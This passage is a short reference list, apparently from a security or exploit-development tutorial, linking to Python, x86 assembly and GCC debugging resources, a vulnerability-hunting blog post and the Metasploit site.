2) Tobias Klein -
    http://www.trapkit.de
3) Python
    https://wiki.python.org/moin/BeginnersGuide
    http://en.wikibooks.org/wiki/Python_Programming
4) ASM
    http://en.wikibooks.org/wiki/X86_Assembly
5) GCC
    http://gcc.gnu.org/releases.html
6) Finding vulnerabilities at github.com
    http://hauntit.blogspot.com/2013/06/en-rce-another-lesson.html
7) GCC Debugging options
    http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Debugging-Options.html
8) Metasploit
    http://www.metasploit.com